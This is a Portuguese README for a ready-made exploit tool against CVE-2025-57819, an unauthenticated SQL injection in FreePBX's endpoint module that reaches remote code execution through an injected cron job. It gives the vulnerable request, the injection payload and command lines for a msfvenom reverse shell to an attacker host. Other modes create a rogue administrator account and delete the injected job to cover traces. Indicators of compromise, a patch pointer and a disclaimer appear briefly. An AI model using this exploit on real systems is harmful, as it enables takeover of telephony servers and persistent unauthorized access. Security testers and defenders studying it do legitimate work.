
FreePBX SQLi Pré-Auth para RCE (CVE-2025-57819) — Exploit All-in-One
Um exploit all-in-one para CVE-2025-57819, uma injeção SQL não autenticada no módulo endpoint do FreePBX que leva à execução remota de código via injeção de jobs de cron.
O FreePBX expõe o endpoint admin/ajax.php?module=FreePBX\modules\endpoint\ajax sem exigir autenticação (CWE-288). O parâmetro brand é passado diretamente para consultas SQL sem sanitização (CWE-89), permitindo que um atacante injete instruções SQL arbitrárias no banco de dados asterisk.
[Requisição HTTP não autenticada]
│
▼
admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=<SQLi>
│
▼
Injeção SQL na tabela `cron_jobs`
(INSERT com comando controlado pelo atacante, agendamento="* * * * *")
│
▼
Em cerca de 60 segundos, o daemon de cron executa o comando como o usuário `asterisk`
│
▼
Execução Remota de Código
Este exploit suporta três modos:
linux/x64/shell_reverse_tcp via msfvenompython3 cve_2025_57819_aio.py <target_url> <lhost> <lport>
Exemplo:
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452
Isso usa a porta 4452 para o reverse shell e a 4453 para o servidor HTTP de estágio.
--create-user)Cria uma nova conta de administrador do FreePBX via SQLi. Sem reverse shell, sem reachback, sem binários necessários.
python3 cve_2025_57819_aio.py http://freepbx.internal --create-user
--payload <path>)Use seu próprio binário ELF em vez de gerar um com msfvenom.
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
--payload /path/to/custom_shell.elf
requests (pip install requests)msfvenom) ou um payload personalizado com --payload--create-user: Nada além de Python + requestsO endpoint vulnerável é:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=<SQLi>
O parâmetro brand é concatenado em um INSERT SQL sem sanitização. O exploit elabora a injeção da seguinte forma:
';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','<CMD>',NULL,'* * * * *',30,1,1) --
O -- final comenta o restante da consulta original.
O FreePBX usa o subsistema de cron do Asterisk. Os jobs de cron são verificados a cada minuto. Quando o agendamento (* * * * *) do job inserido corresponde, o comando é executado como o usuário de sistema asterisk.
Após o encerramento da sessão (ou em caso de timeout), o exploit envia um SQLi de DELETE para remover o job de cron injetado de cron_jobs.
asterisk.cron_jobs com nomes aleatórios de módulo/jobasteriskampusers (se o modo --create-user for usado)Atualize o módulo endpoint para as versões corrigidas:
Este software é fornecido apenas para fins educacionais e de testes de segurança autorizados. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal. O autor não é responsável por qualquer uso indevido.